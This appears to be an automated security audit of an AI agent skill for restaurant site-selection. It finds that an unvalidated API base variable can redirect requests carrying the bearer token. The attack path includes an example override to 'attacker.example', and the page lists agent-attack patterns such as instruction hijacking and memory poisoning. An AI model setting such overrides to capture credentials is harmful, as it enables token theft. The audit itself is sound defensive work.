高德地图地址·餐饮连锁拓店选址分析

• Outcome: Review
• Latest audit: Sep 16, 2026 · 10:46 AM UTC
• Version: 1.0.0

Overview

The skill is mostly coherent for restaurant site-selection analysis, but its documented API setup can send the bearer token to an inherited, unvalidated endpoint.

Review the API setup before installing or using this skill. Set the API base explicitly to the trusted provider origin, avoid running it in environments with untrusted inherited variables, and treat pasted addresses or candidate-site details as data sent to the provider service.

A.I.G

Vulnerability Patterns

• Insecure Skill Coding Practices: Finds exploitable flaws such as hardcoded secrets or command injection
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally

Findings (1)

T09 · Insecure Skill Coding Practices

Warning

• Location: SKILL.md:33

Finding

Bearer Token Disclosure Through Unvalidated API Base URL Override

Content

View full analysis

Vulnerability Details

File Location: SKILL.md, line 33; the unsafe variable is used in authenticated requests at lines 91–113
Vulnerability Type: Credential exfiltration through an unvalidated configurable endpoint
Risk Level: Medium

Vulnerable Code

bash

export DDT_OPEN_BASE="${DDT_OPEN_BASE:-https://gotoshop-ai.com/ddtclaw}"
test -n "$DDT_API_KEY"

The resulting variable is subsequently used as the destination of requests carrying the API key:

bash

curl --fail --silent --show-error -G \
  -H "Authorization: Bearer $DDT_API_KEY" \
  "$DDT_OPEN_BASE/v1/network/nearby" \
  --data-urlencode "q=北京航空科技大厦" \
  --data-urlencode "city=北京市" \
  --data-urlencode "radius_m=1000" \
  --data-urlencode "size=10"

Technical Analysis

The default-value expression preserves any preexisting value of DDT_OPEN_BASE. The documentation does not validate the variable's URL scheme, hostname, port, or resolved destination before attaching the bearer credential.

Consequently, a process that can influence the shell environment can redirect authenticated requests away from the intended gotoshop-ai.com service. Using HTTPS alone does not prevent this attack when the substituted destination is an attacker-controlled HTTPS server with a valid certificate.

The flaw exposes both the DDT_API_KEY bearer credential and potentially sensitive restaurant-location, candidate-site, address, and business-analysis query parameters.

Attack Path

1. An attacker gains the ability to influence the environment from which the Skill's documented commands are run, such as through a poisoned project environment, shell profile, wrapper process, CI variable, or Agent configuration.
2. The attacker sets an alternative endpoint, for example:

   bash

   export DDT_OPEN_BASE="https://attacker.example"
   

3. The user or Agent executes the documented initialization:

   bash

   export DDT_OPEN_BASE="${DDT_OPEN_BASE:-https://gotoshop-ai.com/ddtclaw}"
   

...[truncated 983 chars]

Remediation

View remediation

Remediation Suggestions

1. Hardcode the trusted origin for every request that carries the bearer token:

   bash

   readonly DDT_OPEN_BASE="https://gotoshop-ai.com/ddtclaw"
   

2. If endpoint configurability is required for legitimate testing, parse and validate the URL before making a request. Require:

   • An exact https scheme.
   • An explicitly allowlisted hostname.
   • An expected port.
   • No embedded user information.
   • No redirects to non-allowlisted origins.

3. Configure curl to reject unexpected redirects, or verify that every redirect target remains on the trusted origin before forwarding credentials.

4. Separate production and test credentials. Never send a production bearer token to development, staging, or user-supplied endpoints.

5. Document that inherited endpoint variables must not be trusted automatically. Fail closed when the endpoint differs from the approved origin.

6. Revoke and rotate any API key that may previously have been sent through an untrusted endpoint, and review API logs for unauthorized use.

SkillSpector

Vulnerability Patterns

• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code
• Excessive Agency: Unrestricted Tool Access, Autonomous Decision Making, Scope Creep

Findings (1)

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 89% confidence

Finding

The file consistently specifies the skill name, headings, workflow, and output requirements entirely in Chinese, including line L127's mandatory output format, but does not state that users may choose another language. This can violate language/locale policy when a skill effectively requires a specific language without user opt-in or documented justification.

Content

No source excerpt is available for this finding.